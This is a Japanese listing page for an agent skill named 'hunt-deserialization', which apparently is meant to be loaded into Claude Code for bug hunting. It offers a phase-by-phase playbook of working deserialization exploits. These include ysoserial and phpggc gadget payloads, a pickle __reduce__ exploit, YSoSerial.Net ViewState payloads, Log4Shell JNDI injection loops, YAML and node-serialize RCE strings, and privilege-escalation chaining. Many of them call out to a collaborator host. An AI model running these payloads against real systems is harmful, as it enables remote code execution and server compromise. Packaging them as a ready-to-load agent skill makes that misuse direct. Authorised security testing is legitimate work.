hunt-deserialization について
hunt-deserializationは、安全性テスト担当者向けの安全でないデシリアライゼーション調査スキルです。Java、PHP、Python、.NET、Ruby、JNDIの攻撃面を扱い、段階的なテストと検証方法を示します。
主な機能
- 01シリアライズデータと攻撃面の兆候を特定
- 02複数言語のデシリアライゼーションをテスト
- 03帯域外コールバックでブラインド実行を確認
- 04コマンド実行と影響を検証
活用シーン
- 01アプリケーションのデシリアライゼーション箇所を調査
- 02シリアライズ入力によるコマンド実行をテスト
- 03帯域外コールバックでブラインド脆弱性を確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-deserializationインストール後、Claude Code で/hunt-deserializationを入力して読み込まれたか確認します。
詳細
HUNT-DESERIALIZATION — 安全でないデシリアライゼーション
最高価値の標的
デシリアライゼーションのバグは、ほとんどの場合クリティカルです。前提条件なしに直接 RCE につながります。
最も価値の高い攻撃チェーン:
- Java ysoserial ガジェットチェーン — CommonsCollections、Spring、JNDI、Groovy ガジェット → OS コマンドを完全に実行
- PHP オブジェクトインジェクション —
__wakeup/__destructマジックメソッド → ファイル書き込み / RCE - Python pickle —
pickle.loads(attacker_data)→__reduce__→os.system('id') - .NET BinaryFormatter — TypeConfuseDelegate ガジェットチェーン → RCE
- Ruby Marshal.load — Gem::Requirement、Gem::Installer ガジェット → RCE
- JNDI インジェクション — Log4Shell パターン:
${jndi:ldap://attacker/a}→ クラス読み込み → RCE
攻撃対象領域のシグナル
検出パターン
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
ヘッダー / Cookie のシグナル
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
段階的なハンティング手法
フェーズ 1 — Java デシリアライゼーション(ysoserial)
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
フェーズ 2 — PHP オブジェクトインジェクション
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
フェーズ 3 — Python Pickle
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pkl
フェーズ 3b — PHP phar://、Python YAML、Node デシリアライゼーション
- PHP phar://(
unserialize()の呼び出しなし) —phar://パスに対してファイルシステム関数(file_exists/fopen/getimagesize)を実行すると、アーカイブのメタデータがデシリアライズされます → コード内にunserialize()がなくてもオブジェクトインジェクションが可能です。phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot # then reach phar://uploads/poly.jpg/x via any fs call - Python
yaml.load()(CVE-2017-18342) — 5.1 より前では、デフォルト設定が安全ではありません:!!python/object/apply:os.system ['curl http://$COLLAB/yaml'] - Node
node-serialize(CVE-2017-5941) —unserialize()に渡される任意のフィールドで IIFE マーカーを使用します:{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}
フェーズ 4 — .NET ViewState
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
フェーズ 5 — Log4Shell / JNDI
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
フェーズ 6 — Ruby Marshal
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets
攻撃チェーン表
| デシリアライゼーションのシグナル | チェーン先 | 影響 |
|---|---|---|
| 任意のデシリアライゼーション RCE | /etc/passwd + id の出力 | 任意のコマンド実行を証明 |
| 低権限ユーザーとしての RCE | SUID バイナリ / sudo ルールを探す | 権限昇格 → root |
| ブラインド RCE(OOB コールバック) | DNS コールバック → 実行を確認 | クリティカルの PoC として十分 |
| Log4Shell | LDAP → JNDI → クラス読み込み | JVM プロセス上で完全な RCE |
自動化
# OOB listener
interactsh-client -v -n 5
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit
検証
✅ COLLAB ホストからの DNS/HTTP コールバック:ブラインドデシリアライゼーションを確認 ✅ レスポンス内のコマンド出力:完全な RCE を確認
深刻度: ほぼ常に クリティカル — サーバープロセスの権限で RCE が可能です。
コメント
Markdown 対応